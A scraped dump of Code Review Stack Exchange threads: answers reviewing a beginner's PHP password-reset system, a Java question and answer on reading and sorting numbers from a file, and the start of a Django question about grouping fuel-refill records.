// error_log("Date/time: $date, Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
} // end of try catch blocks
} else {
$stmt = $greenf = null;
echo '<p class="text-center" style="color: red;">The link is invalid.</p>';
echo '<p class="text-center">Please <a href="forgot-password.php">click here</a> to get a new link to reset your password.</p>';
endTheWebpage();
} // end of !empty($token_id) && strlen($token_id) === 64 && !empty($token) && strlen($token) === 64 if condition block
?>
</div>
</main>
</div>
<footer id="footer">
<?php include '../includes/footer.php'; ?>
</footer>
<!-- SCRIPTS -->
<script type="text/javascript" src="..\js\jquery-3.4.1.min.js"></script>
<script type="text/javascript" src="..\css\bootstrap-4.3.1\js\bootstrap.min.js"></script>
</body>
</html>
</code></pre>
<p>I am a beginner to PHP. Is this the correct way to implement password reset system? Are there any security issues in my code? If yes, what are they? How to overcome them?</p>
|
[] |
[
{
"body": "<H2>Naming things</h2>\n<p>I love that you take the time to name things properly. Names like <code>create_db_linkage_instance()</code>, <code>endTheWebpage()</code> immediately make clear what these functions do. It's not <code>db_conn()</code> or <code>finish()</code>. Of course there is the problem that you haven't stuck to one naming convenstion, choose either <code>snake_case</code> or or <code>camelCase</code> and stick to it. Yes, I know that PHP itself is, regrettably, not very consistent. Later, while reading through your code, I came across less well-chosen names: <code>$greenf</code>, which is a database instance, and <code>$qry</code> for, you guessed it right, a MySQL query.</p>\n<p>Another really weird thing are the <code>d32b6f67a9d2ff687d9b7d.php</code> and <code>c6ef0226276fb386d4a7a7dcb4df38ee9df1105a2244b7bd.php</code> file names. My best guess is that you try to obsure the location of these files, however, this is not the way to do it. Security through obscurity <a href=\"https://stackoverflow.com/questions/533965/why-is-security-through-obscurity-a-bad-idea\">is generally discouraged</a> especially if it makes the job of understanding what a file is for harder. Simply put the file out of reach of any potential hacker, as you already do.</p>\n<h2>Configuration</h2>\n<p>You're using "a lot" of constants to set up your database connection. Have a look at <a href=\"https://codereview.stackexchange.com/questions/255380\">this question</a>, that was just answered. The fewer names you define yourself, global to the whole of PHP, the less change of a naming conflict (in the future).</p>\n<h2>Repetition of code</h2>\n<p>What we, programmers, don't like is endless repetition of the same pieces of code. We're allergic to it. We even have a name for code like that: It isn't <a href=\"https://www.drycode.io\" rel=\"nofollow noreferrer\">DRY</a>. In the <code>create_db_linkage_instance()</code> function you catch exceptions and errors in exactly the same way. And this is repeated four times more in the rest of your code. This is shouting for a separate function.</p>\n<p>There's also code like this:</p>\n<pre><code>$mailContent = str_replace("{{HomePage}}", $home, $mailContent);\n$mailContent = str_replace("{{Logo}}", $home . "images/logo.png", $mailContent);\n$mailContent = str_replace("{{WebpageTitle}}", $webpageTitle, $mailContent);\n$mailContent = str_replace("{{Name}}", $displayName, $mailContent);\n$mailContent = str_replace("{{PasswordResetLink}}", $url, $mailContent);\n$mailContent = str_replace("{{Expires}}", $expires, $mailContent);\n$mailContent = str_replace("{{ForgetPasswordResetLink}}", $home . "users/cancel-password-reset-request.php", $mailContent);\n$mailContent = str_replace("{{IP}}", $ip, $mailContent);\n$mailContent = str_replace("{{AccountRecoveryLink}}", $home . "users/forgot-password.php", $mailContent);\n$mailContent = str_replace("{{ContactUs}}", $home . "contact-us.php", $mailContent);\n</code></pre>\n<p>This could be:</p>\n<pre><code>$tokens = ["HomePage" => $home,\n "Logo" => $home . "images/logo.png",\n "WebpageTitle" => $webpageTitle,\n "Name" => $displayName,\n "PasswordResetLink" => $url,\n "Expires" => $expires,\n "ForgetPasswordResetLink" => $home . "users/cancel-password-reset-request.php",\n "IP" => $ip,\n "AccountRecoveryLink" => $home . "users/forgot-password.php",\n "ContactUs" => $home . "contact-us.php"];\n\nforeach ($tokens as $token => $value) {\n $mailContent = str_replace("{{" . $token . "}}", $value, $mailContent);\n}\n</code></pre>\n<p>This code is not faster, but it is easier to read, and the repetition is now done by a loop.</p>\n<h2>Nesting</h2>\n<p>Your code uses very few functions, no classes, and relies heavily on nesting one bit of code inside another. Let me take your <code>reset-password.php</code> file and write out the main control structure:</p>\n<pre><code>if (...) {\n try {\n if (...) {\n if (...) {\n if (...) {\n if (...) {\n if (...) {\n if (...) {\n } else if (...) {\n }\n } else {\n }\n if (...) {\n if (...) {\n } else {\n }\n if (...) {\n } else {\n } \n } \n } \n if (...) {\n }\n if (...) {\n }\n } else {\n }\n } else {\n }\n } else {\n } \n } catch (...) {\n } catch (...) {\n } \n} else {\n} \n</code></pre>\n<p>That looks complex, and it is. Now it is only 36 lines long, but in reality it is more than 150 lines of code. This feels like a maze. It's a wonder it works at all. This is not a good way to write secure code, because you quickly lose sight of what is happening.</p>\n<p>So what to do? For starters: Use functions, as I mentioned before. Divide the code into logical chunks. In this case that would be a good alternative to all this nesting. The control structure might even stay the same, but because it is wrapped in a few, clearly named, functions, it stays understandable. Something like:</p>\n<pre><code>if (isValidUserToken($token_id)) {\n if (isValidPasswordHash($token) {\n ChangePassword();\n }\n}\n</code></pre>\n<p>I know, this is far from complete, it might not even be correct, but it is just an illustration of how you can keep your code the same but divide it up in functional chunks. This is, of course the same as:</p>\n<pre><code>if (isValidUserToken($token_id) &&\n isValidPasswordHash($token)) {\n ChangePassword();\n}\n</code></pre>\n<p>Which shows you that structuring your code this way opens the way to simplify it further. The <code>isValidUserToken($token_id) && isValidPasswordHash($token)</code> could probably be combined into a function called <code>isValidUser($token_id, $token)</code>. There's nothing wrong with a one-line function, as long as it is used multiple times.</p>\n<h2>Is this code secure</h2>\n<p>I really cannot tell. Given the problems mentioned above, it is very difficult to find bugs in the code. There are many globals floating around, a complex control flow, mixing of PHP processing and HTML output, and generally difficult to read code.</p>\n<p>This is further complicated because you haven't really told us how your "forgot password reset system" is supposed to work. From what I can see, you've given us more than you implied. I think there's a "forgot password" and a "reset password" piece of code. Then again, the latter could be part of the first: When An user tells your system they forgot their password, it emails something that allows them to reset their password. That makes sense. It hinges on the user being in control of their mail address.</p>\n<p>Something that has happened to me quite a lot: I lost my email address, for instance when changing company, ISP, or when selling a domain. Sites often identify you only by your email address. This is understandable, but there will be users who do not possess their email addresses anymore. Big websites have to deal with this somehow, although I know quite a few that simply refuse that and still take your money (I can name Adobe and Vimeo from experience).</p>\n<p>Sorry about that, it has little to do with your code. However, as I said, I cannot verify that your code is secure. It would require a long study of your code, or a complete rewrite, and that just takes too much time. There are many good things about your code: You correctly use parameter binding in your PDO queries, and you take care to check a lot of things, but in the end the code is a jumble which is hard to read and understand.</p>\n<p>My advice would be to look at the queries you have and think about what they do. You can then put that in tidy functions. For instance, this piece of code has a two clear functions:</p>\n<pre><code>$hashed_password = password_hash($newPassword, PASSWORD_DEFAULT);\n$temp = findIP();\nif (filter_var($temp, FILTER_VALIDATE_IP) === false) {\n // invalid ip\n // set it to 0.0.0.0\n $ip = "0.0.0.0";\n} else {\n $ip = $temp; // valid ip\n}\n\n$qry = 'UPDATE ' . $t_users . ' SET password=:password, last_login_ip=:last_login_ip WHERE email=:email';\n$stmt = $greenf->prepare($qry);\n$stmt->bindParam(':password', $hashed_password, PDO::PARAM_STR);\n$stmt->bindParam(':last_login_ip', $ip, PDO::PARAM_STR);\n$stmt->bindParam(':email', $email, PDO::PARAM_STR);\n$stmt->execute();\n</code></pre>\n<p>It updates the user table with the new password and it stores the IP address of this login. So, the two functions would become:</p>\n<pre><code>function updateUserPasswordByEmail($database, $email, $newPassword)\n{\n $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);\n $query = "UPDATE users SET password = :password WHERE email = :email";\n $statement = $database->prepare($query);\n $statement->bindValue(':password', $hashedPassword, PDO::PARAM_STR);\n $statement->bindValue(':email', $email, PDO::PARAM_STR);\n return $statement->execute();\n}\n\nfunction storeUserIpAddressByEmail($database, $email)\n{\n $IpAddress = findIP();\n if (!filter_var($temp, FILTER_VALIDATE_IP)) {\n $IpAddress = "0.0.0.0"; // invalid ip\n }\n $query = "UPDATE users SET last_login_ip= :last_login_ip WHERE email = :email";\n $statement = $database->prepare($query);\n $statement->bindValue(':last_login_ip', $IpAddress, PDO::PARAM_STR);\n $statement->bindValue(':email', $email, PDO::PARAM_STR);\n return $statement->execute();\n}\n</code></pre>\n<p>These are nice and short pieces of code which you can wrap your mind around. You can state definitely that you know what they are doing. You can also test them, over and over again, independent of the other code.</p>\n<p>Notice that I use <code>bindValue()</code> instead of <code>bindParam()</code>. This makes sense because I only need to associate the value with the placeholder once.</p>\n<p>You might have noticed that the two update queries, in the above functions, look very similar. If we make more similar functions, all updating one field in the user table, it would not be very DRY. So let's work on that:</p>\n<pre><code>function updateUserFieldByEmail($database, $email, $column, $value, $type)\n{\n $query = "UPDATE users SET $column = :value WHERE email = :email";\n $statement = $database->prepare($query);\n $statement->bindValue(':value', $value, $type);\n $statement->bindValue(':email', $email, PDO::PARAM_STR);\n return $statement->execute();\n}\n\nfunction updateUserPasswordByEmail($database, $email, $newPassword)\n{\n $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);\n return updateUserFieldByEmail($database, $email, 'password', $hashedPassword, PDO::PARAM_STR);\n}\n\nfunction storeUserIpAddressByEmail($database, $email)\n{\n $IpAddress = findIP();\n if (!filter_var($temp, FILTER_VALIDATE_IP)) {\n $IpAddress = "0.0.0.0"; // invalid ip\n }\n return updateUserFieldByEmail($database, $email, 'last_login_ip', $IpAddress, PDO::PARAM_STR);\n}\n</code></pre>\n<p>As you can see these functions get shorter and easier to understand. The chance that you might have missed something that could be a security issue is therefore smaller. This is (almost) the whole point of <a href=\"https://searchsoftwarequality.techtarget.com/definition/structured-programming-modular-programming\" rel=\"nofollow noreferrer\">structured programming</a>, it exists to help the reader, that's you, to understand the code.</p>\n<p>This discussion is far from exhaustive, but I hope it is useful to you.</p>\n<p>Here's a link you might find useful: <a href=\"https://phptherightway.com\" rel=\"nofollow noreferrer\">https://phptherightway.com</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T05:48:19.427",
"Id": "504036",
"Score": "1",
"body": "psst! str_replace already works with arrays, though separate ones. And strtr works with the exact array you made"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T06:05:14.527",
"Id": "504037",
"Score": "1",
"body": "Wow, I was just going to say the same thing. If you are going to construct an associative array, just call `strtr()`. (It just took me ~15 minutes to read this review) I found `trim()` to be unnecessary after sanitizing the email. `empty()` is not necessary when a variable is guaranteed to be declared -- just use a falsey check."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T08:22:24.143",
"Id": "504046",
"Score": "0",
"body": "@YourCommonSense That's true, but you're ignoring the `{{` and `}}`, these would have to be added in the array, I chose this method."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T22:26:54.460",
"Id": "255450",
"ParentId": "255416",
"Score": "6"
}
},
{
"body": "<p>In addition to the magnificent answer from KIKO Software, a few pointers...</p>\n<h2>Getting IP</h2>\n<p>First of all there is at least one issue connected to security; namely the <code>findIP()</code> function. Many beginners are using a similar approach and feeling smart. In reality, this function makes your code <em>less reliable and secure</em> as having this very function actually allows the IP to be easily spoofed. See <a href=\"https://codereview.stackexchange.com/a/244194/101565\">my other answer</a> for the details. <strong>Stick to <code>REMOTE_ADDR</code> only</strong> and you're good to go.</p>\n<h2>Error reporting / Code repetition</h2>\n<p>The amount code repetition (mentioned in the other answer) is just unacceptable (however, it takes some experience to get an eye for the code repetitions and nobody really expects a beginner to catch these). The two code blocks differ by <em>one symbol</em> (or so I can tell because finding differences in the identical code blocks is a job by itself).</p>\n<pre><code>$date = '[' . date('d-M-Y h-i-s a') . ']';\n$msg = $e->getMessage();\n$err_msg = $date . ' | Exception Error | ' . $msg . ' | \\n';\nerror_log($err_msg, 3, ERROR_LOG_BOOK);\n// error_log("Date/time: $date, Exception Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Exception Error \\nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \\r\\n");\n\n$date = '[' . date('d-M-Y h-i-s a') . ']';\n$msg = $e->getMessage();\n$err_msg = $date . ' | Error | ' . $msg . ' | \\n';\nerror_log($err_msg, 1, ERROR_LOG_BOOK);\n// error_log("Date/time: $date, Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Error \\nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \\r\\n");\n</code></pre>\n<p>Moreover, these almost identical blocks are repeated in the code again!</p>\n<p>But what I <em>really</em> don't understand is why there is so much attention to the database connection errors as compared to a <em>complete neglect</em> towards many other errors in the code!</p>\n<p>Say, connecting to a mail server may result in none the less illustrious error, but we don't see even a hint of the error handling, least such a hairy one.</p>\n<p>Or, including a file may result in the error, when a file is missing or has a permission problem. Or sending a header almost certainly at some point will produce the infamous "Headers already sent" error. Or literally <strong>any line</strong> of <strong>any code</strong> may produce an error. But for some reason, only some code blocks are wrapped in a <code>try</code> <code>catch</code>.</p>\n<p>At least wrap the <strong>entire code</strong> in a single try catch, so that you won't have to repeat the handling code and also it will be able to handle all possible errors, not just a subset of them.</p>\n<p>And of course make this code to catch a <strong>single</strong> <code>\\Throwable</code> class exception with some condition inside to distinguish the type (in case you really need it, which I highly doubt).</p>\n<p>Also, think of your code form this point of view: it is only good for a <em>programmer</em>, while a <em>site visitor</em> doesn't get a clear idea what something goes wrong. For a site user you have to provide a generic excuse page.</p>\n<h2>The separation of the business logic and presentation logic</h2>\n<p>As you already learned (from the fact you are using <code>endTheWebpage()</code>), intertwining the application logic with the presentation logic makes your life incredibly hard. And you must separate them completely:</p>\n<ul>\n<li>make your application code do all of its job first</li>\n<li>only then start sending HTML to the client</li>\n</ul>\n<p>This simple approach will make both parts far clearer and easier to understand.</p>\n<h2>Following the good practices</h2>\n<p>Right ow I am working on the article where I am trying to sum up my experience in both the web development and answering questions on Stack Overflow. It's till work in progress, but it already has a lot of important information on the very topics that have been highlighted here, and you may find it useful: <a href=\"https://phpdelusions.net/basic_principles_of_web_programming\" rel=\"nofollow noreferrer\">The most important basic principles of web programming</a>. In particular it explains the correct principles of error reporting and the application/presentation logic separation.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T07:00:23.030",
"Id": "255458",
"ParentId": "255416",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:46:01.100",
"Id": "255416",
"Score": "6",
"Tags": [
"beginner",
"php",
"security"
],
"Title": "Password reset system in PHP"
}
|
255416
|
<p>The program itself reads 100 values from a text file named <code>input.txt</code>. Then sorts those values in ascending order and writes the values to a new file called <code>output.txt</code>.</p>
<p>I used two try-catches for the <code>Scanner</code> and the <code>PrintWriter</code> since to my very basic knowledge they can throw different exceptions. So if anyone can review the code and let me know if my style is bad/good and what could be better, that would be much appreciated.</p>
<pre><code> //Create new file in, used for input.
File in = new File("input.txt");
/* Used two try-catch blocks to narrow down the potential error.
* Read online if you use try-catch you want to keep them as
* narrow as possible to know what to catch.
* If this is bad style let me know.
*/
try {
Scanner input = new Scanner(in);
for (int i = 0; i < numbers.length; i++) {
numbers[i] = input.nextInt();
}
input.close();
Arrays.sort(numbers);
} catch (FileNotFoundException e) {
/*Assume the file is missing since new Scanner(in);
* will implicitly check if the input file actually exists.
*/
System.err.println("File missing. Exiting with code: 1");
System.exit(1);
}
try {
PrintWriter output = new PrintWriter("output.txt");
for (int i = 0; i < numbers.length; i++) {
output.println(numbers[i]);
}
output.close();
} catch (IOException ex) {
System.err.printf("File name does not denote an existing, writable regular file %n"
+ "and a new regular file of that name cannot be created%n"
+ "Or another error occured creating/writing to the specified file.%n"
+ "Exiting with code: 2");
System.exit(2);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T19:19:24.970",
"Id": "503937",
"Score": "1",
"body": "The declaration of `numbers` is missing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T19:24:52.340",
"Id": "503939",
"Score": "1",
"body": "The site standard is for the title to simply state the task accomplished by the code, not your concerns about it. Please see [How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask) for examples, and revise the title accordingly."
}
] |
[
{
"body": "<pre class=\"lang-java prettyprint-override\"><code>File in = new File("input.txt");\n</code></pre>\n<p>Do not shorten variable names, it makes the code harder to understand and maintain.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> for (int i = 0; i < numbers.length; i++) {\n numbers[i] = input.nextInt();\n }\n</code></pre>\n<p>I'm a very persistent advocate that you're only allowed to use single-letter variable names if you're dealing with dimensions. Even for simple for loops one should use <code>index</code> or <code>counter</code> or something similar descriptive.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> try {\n Scanner input = new Scanner(in);\n</code></pre>\n<p>Could have used a <a href=\"https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html\" rel=\"nofollow noreferrer\">try-with-resources</a> instead.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>System.exit(1);\n</code></pre>\n<p>Just as a note, that is not "let's exit the application" kind of call, it's "let's end the JVM abruptly" kind of call. When calling <code>System.exit</code>, not even <code>finally</code> blocks will be executed.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>for (int i = 0; i < numbers.length; i++) {\n</code></pre>\n<p>You could use a for-each instead.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> System.err.printf("File name does not denote an existing, writable regular file %n"\n + "and a new regular file of that name cannot be created%n"\n + "Or another error occured creating/writing to the specified file.%n"\n + "Exiting with code: 2");\n</code></pre>\n<p>That's completely unhelpful error handling and is on the same level as Microsoft Windows' infuriating "Your PC had a problem :)" message. <em>Never</em> throw away error information that you have, it will make debugging a lot harder. Printing the exception message would be a minimum that you should do because from that error message, even though you did put a lot of thought and work into it, it's completely impossible to deduce the actual error and what to do to remedy it.</p>\n<p>Short story time: I've been working with a third-party service lately and that service tries to contact yet another service. Whenever there is a problem with the communication with the other service, the service will spew out the log message "Failed to communicate with that other service, is the other service really already started?" followed by the exception message that clearly shows that an HTTP response was received. Not helpful, because you <em>know</em> that <em>somebody</em> will get hung up at some point on that message even though the question is bogus.</p>\n<hr />\n<p>Coming around to your actual question, if you put your logic into a method of its own, your question simply goes away.</p>\n<pre class=\"lang-java prettyprint-override\"><code>public static final void sortContent(File inputFile, File outputFile) throws IOException {\n // TODO Add verification that inputFile is not null.\n // TODO Add verification that outputFile is not null.\n\n int[] numbers = new int[100];\n \n try (Scanner scanner = new Scanner(inputFile) {\n // Logic goes here.\n }\n\n // Rest of logic goes here.\n}\n</code></pre>\n<p>Now all you need to worry about is closing the resources correctly, which the try-with-resources will do for you. The <code>IOException</code> will simply being thrown and bubble up until it is being handled. For example in your main method:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public static final void main(String[] args) {\n try {\n sortContent(new File("input.txt"), new File("output.txt"));\n } catch (IOException e) {\n ex.printStackTrace();\n }\n}\n</code></pre>\n<p>If you feel especially inclined to provide more information, you can always wrap the thrown exception.</p>\n<pre class=\"lang-java prettyprint-override\"><code>public static final void sortContent(File inputFile, File outputFile) throws IOException {\n // ...\n \n try (Scanner scanner = new Scanner(inputFile) {\n // ...\n } catch (IOException e) {\n throw new IOException("Failed to read from input file <" + inputFile.toString() + ">.", e);\n }\n\n // ....\n}\n</code></pre>\n<p>Notice that we do not throw away the original exception, but instead use it as cause for the one we are throwing.</p>\n<hr />\n<p>Optional appendix: Why are one letter variable names not so good and should be avoided if possible?</p>\n<p>Good code is <em>expressive</em>, as it is with the spoken language, expressiveness tends to depend on three things:</p>\n<ol>\n<li>More letters</li>\n<li>More words</li>\n<li>The correct terms</li>\n</ol>\n<p>If we only use few letters to communicate something, we are not very expressive, example "ltns gr8 cu 2d asap". Of course this is readable <em>to some</em>, but not as widely as if it would be a written as "long time no see, great idea, see you tonight as soon as possible".</p>\n<p>If we only use few words to communicate something, we are not very expressive, example "tomorrow margaritas". Again, we can deduce the meaning if we are familiar with the context, but without the necessary context we have a hard time understanding "We'll meet tomorrow at your place, I bring the margaritas".</p>\n<p>If we use the incorrect terms to communicate something, we are note very expressive, example "you can use our typewriter". Again, it will take use much longer to figure out that "typewriter" is used her interchangeably with "printer".</p>\n<p>So we can establish the simple rule: The more expressive, the better.</p>\n<p>Let's map this to code. We do not always have the luxury of being aware of the complete context of the code we are looking at. Here is a simple example:</p>\n<pre class=\"lang-java prettyprint-override\"><code>a[i] = a[i] + 5;\n</code></pre>\n<p>We can deduce from this line the following assumptions:</p>\n<ol>\n<li><code>a</code> is an array, very likely <code>int</code>.</li>\n<li><code>i</code> is very likely a loop counter.</li>\n<li><code>5</code> is added to the value at the index <code>i</code>.</li>\n</ol>\n<p>There's a good chance that these assumptions would be correct. However, we still do not know what <code>a</code> is, or what range <code>i</code> has (spoiler: we'll never know, actually), or why <code>5</code> is being added to these values. So if we look at the same snippet with better naming, at least the first question becomes clear:</p>\n<pre class=\"lang-java prettyprint-override\"><code>readValues[index] = readValues[index] + THE_MAGIC_VALUE_THIS_NAME_TELLS_YOU_SOMETHING;\n</code></pre>\n<p>Notice how <code>index</code> still doesn't tell us much besides "it's most likely a loop over the whole array, otherwise it would have a better name". But if we swap out <code>index</code> with <code>counter</code>, we suddenly have a completely different meaning of this line:</p>\n<pre class=\"lang-java prettyprint-override\"><code>readValues[counter] = readValues[counter] + THE_MAGIC_VALUE_THIS_NAME_TELLS_YOU_SOMETHING;\n</code></pre>\n<p>We know that it is very likely not a loop over the whole array, but instead over a different range, maybe this is not even a <code>for</code> loop, but a <code>while</code> loop. So with a simple name change we can already transport <em>some</em> meaning. Let's build up a larger example:</p>\n<pre class=\"lang-java prettyprint-override\"><code>// Assume a to be non-null int[]\n\nfor (int i = 0; i < a.length; i++) {\n for (int j = a.length - 1; j > i; j--) {\n if (a[i] == a[j]) {\n storeForLater(a, i, j);\n }\n }\n}\n</code></pre>\n<p>Additionally, because the code was refactored the names carried over into the function that we call inside the loops, <code>storeForLater(int[] a, int i, int j)</code>. And I believe at this point we can all agree that the names are not <em>that</em> good. Also notice how I sneakily extended the scope of the argument by introducing the refactored method. Let's see if we can improve that with proper names:</p>\n<pre class=\"lang-java prettyprint-override\"><code>for (int leftIndex = 0; leftInex < readValues.length; leftIndex++) {\n for (int rightIndex = readValues.length - 1; rightIndex > leftIndex; rightIndex--) {\n if (readValues[leftIndex] == readValues[rightIndex]) {\n storeForLater(readValues, leftIndex, rightIndex);\n }\n }\n}\n</code></pre>\n<p>Now that's quite a mouthful, but every line on its own has become much more expressive. Let's have an isolated look at the <code>if</code>:</p>\n<pre class=\"lang-java prettyprint-override\"><code>if (a[i] == a[j]) {\n\nif (readValues[leftIndex] == readValues[rightIndex]) {\n</code></pre>\n<p>Given the more expressive names in the second <code>if</code>, we can make quite a few assumptions <em>more</em> about the code and what it is supposed to do and what it is about.</p>\n<p>Let's do another quick example, assume the following line of code:</p>\n<pre class=\"lang-java prettyprint-override\"><code> s[j][i] = getValueFromExternalSource(i, j);\n</code></pre>\n<p>Speed question: What is <code>i</code> and <code>j</code>?</p>\n<p>Yes, "a loop counter" is also a correct answer I guess.</p>\n<pre class=\"lang-java prettyprint-override\"><code> spreadsheet[column][row] = getValueFromExternalSource(row, column);\n</code></pre>\n<p>As we can see, that one cleared it up quite nicely.</p>\n<p>I earlier said that "you're only allowed to use single-letter names when dealing with dimensions", what I meant are "x", "y" and "z" (possible "w" and "v", if you need another two), because these are on their own expressive enough and there is not really a more expressive way:</p>\n<pre class=\"lang-java prettyprint-override\"><code>for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n process(data[x][y]);\n }\n}\n</code></pre>\n<p>That's as good as it gets when you simply deal with two dimensional data, or more dimensions. So there is no really a point in enforcing "dimensionX" or "indexX" or something like that. Yet I still feel the need to point out that if you're working on data that is consisting of rows and columns, <code>row</code> and <code>column</code> would be the preferred names for the loop.</p>\n<p>We've already seen that the gains are not world-changing, but still quite interesting and in some cases can be significant. Now let's move on the whole point of the exercise: Production code. Does it matter whether or not you use <code>i</code> in your exercise snippets? No, it does not. Does it matter whether you use <code>i</code> in your production code? Given that I have seen code that is 40 years old and still is maintained, I'd say yes, yes it does. The worst example in this regard was a 250 line logic that was something like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>// Lots of setup code.\n\nfor (int x = 0; x < someArraySize; x++) {\n // Some logc goes here.\n \n for (int a = 0; a < someOtherValueCantRemember; a++) {\n // More logic goes here.\n \n for (int b = someValue; b < yetAnotherValue; b++) {\n // The main part of the logic.\n }\n \n // A little bit of logic here.\n }\n \n // Some more logic here.\n}\n</code></pre>\n<p>Again, we can all agree that this code is already badly structured, I believe it was something around 8 years or so old and the programmer long since gone. But especially in this case <em>every</em> name counts to make sure that you're able to follow the code. On my 1920x1080 screen I can see ~65 lines of code at once, in this case it means the logic was 4 pages long. That's quite some scrolling you have to do if you need to look up what a variable does because "a" tells you exactly nothing. And no, <code>x</code> had nothing to do with a dimension, it was a normal index loop.</p>\n<p>Short interjection for everyone who now wants to say "At my work we throw that away and rewrite it": Great for you! Our customers pay for features, and redoing work our own company has done is not a feature.</p>\n<p>Short interjection for everyone who now wants to say "Maybe you should find a better place to work, yours sucks": Great, thank yo! In the mean time I'd like to pay rent and buy food.</p>\n<p>Back on topic, code like this is very, very common in software that had some point a deadline and a release. There are heaps and heaps of it, and the likelihood that you will encounter this than properly structured code is very good. What we can do, what we should try every day, is not to add to this pile, by writing the best code we can. And in my opinion, we should do our best to make every single line stand on its own as could as we can, without as much context as we can, because if the project is non-trivial, this line might be the only thing another programmer sees from our logic. If somebody is for example following a stacktrace, they will not want to familiarize themselves with every single piece of code on the way (who's got the time?). So every single line must be as expressive as possible.</p>\n<p>Last but not least, I said it does not matter what you use in your exercises, so why to I raise the point in this review? Habit. Humans are pieces of habit. Making exceptions to a rule is always a bad thing, because you now have a special case at your hand that you need to deal with, that you need to remember, that you need to honor. Not making exceptions to a habit is much easier.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T12:47:16.600",
"Id": "504134",
"Score": "0",
"body": "Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/119242/discussion-on-answer-by-bobby-read-and-sort-100-numbers-from-a-text-file)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T19:18:59.500",
"Id": "255422",
"ParentId": "255419",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T18:22:07.790",
"Id": "255419",
"Score": "1",
"Tags": [
"java",
"sorting",
"error-handling",
"io"
],
"Title": "Read and sort 100 numbers from a text file"
}
|
255419
|
<p>I'm working on a project on django, I used the built in view ArchiveListView, and I want to sort records to be grouped by a common attribute.<br />
So django ORM don't have a group by query, so I tried to do this on the template using "regroup" tag, but I think it take a long time to group the records that I want to display, so I want to know if I do something wrong in the logic or if there is a better way to improve the code and make it work efficiently.<br />
this is the models I have :</p>
<pre><code>class Vehicle(models.Model):
serie = models.CharField(max_length=18, unique=True, blank=True, null=True)
matricule = models.CharField(max_length=18, unique=True, blank=True, null=True)
ww = models.CharField(max_length=18,blank=True, null=True)
marque_id = models.ForeignKey('Marque', blank=True, null=True, on_delete=models.SET_NULL)
entry_into_service = models.DateField(auto_now=False, auto_now_add=False, blank=True, null=True)
mouchard = models.DateField(auto_now=False, auto_now_add=False, blank=True, null=True)
extinguisher = models.DateField(auto_now=False, auto_now_add=False, blank=True, null=True, help_text="extincteur expiratiOn date")
city_id = models.ForeignKey('City', blank=True, null=True, on_delete=models.SET_NULL)
region_id = models.ForeignKey('Region', blank=True, null=True, on_delete=models.SET_NULL)
driver_id = models.ForeignKey('Driver', blank=True, null=True, on_delete=models.SET_NULL)
class Meta:
ordering = ['serie','matricule']
def __str__(self):
return (self.matricule)
class GazStation(models.Model):
name = models.CharField(max_length=128, blank=True)
city_id = models.ForeignKey('City', blank=True, null=True, on_delete=models.SET_NULL)
geo_localization = gis_models.PointField(blank=True, null=True)
class Meta:
ordering = ['city_id','name']
def __str__(self):
return '%s %s' % (self.name, self.city_id.city)
class Refuel(models.Model):
vehicle_id = models.ForeignKey('Vehicle', blank=True, null=True, on_delete=models.SET_NULL)
driver_id = models.ForeignKey('Driver', blank=True, null=True, on_delete=models.SET_NULL, limit_choices_to ={'is_driver':True})
Controlor_id = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, related_name='controlor_refuel', on_delete=models.SET_NULL, limit_choices_to ={'is_controlor':True})
gaz_station_id = models.ForeignKey('GazStation', blank=True, null=True, on_delete=models.SET_NULL)
date_time_creation = models.DateTimeField(auto_now=False, auto_now_add=True)
date_time_modified = models.DateTimeField(auto_now=True, blank=True)
odometer_reading = models.PositiveIntegerField(blank=True)
fuel_quantity = models.DecimalField(max_digits=5, decimal_places=2)
fuel_unit_price = models.DecimalField(max_digits=6, decimal_places=2)
class Meta:
ordering = ['gaz_station_id','-date_time_creation']
def __str__(self):
return (self.vehicle_id.serie)
</code></pre>
<p>and this is the class view I'm using:</p>
<pre><code>
####### refuel view filtred by year #################
class RefuelsListViewSup(LoginRequiredMixin, YearArchiveView):
queryset = Refuel.objects.order_by('vehicle_id').all()
date_field = "date_time_creation"
make_object_list = True
allow_future = True
</code></pre>
<p>and the template to display this view is:</p>
<pre><code>{% extends 'base.html' %}
{% load mathfilters %}
{% block title %}
<title>Refuels Archive</title>
{% endblock title %}
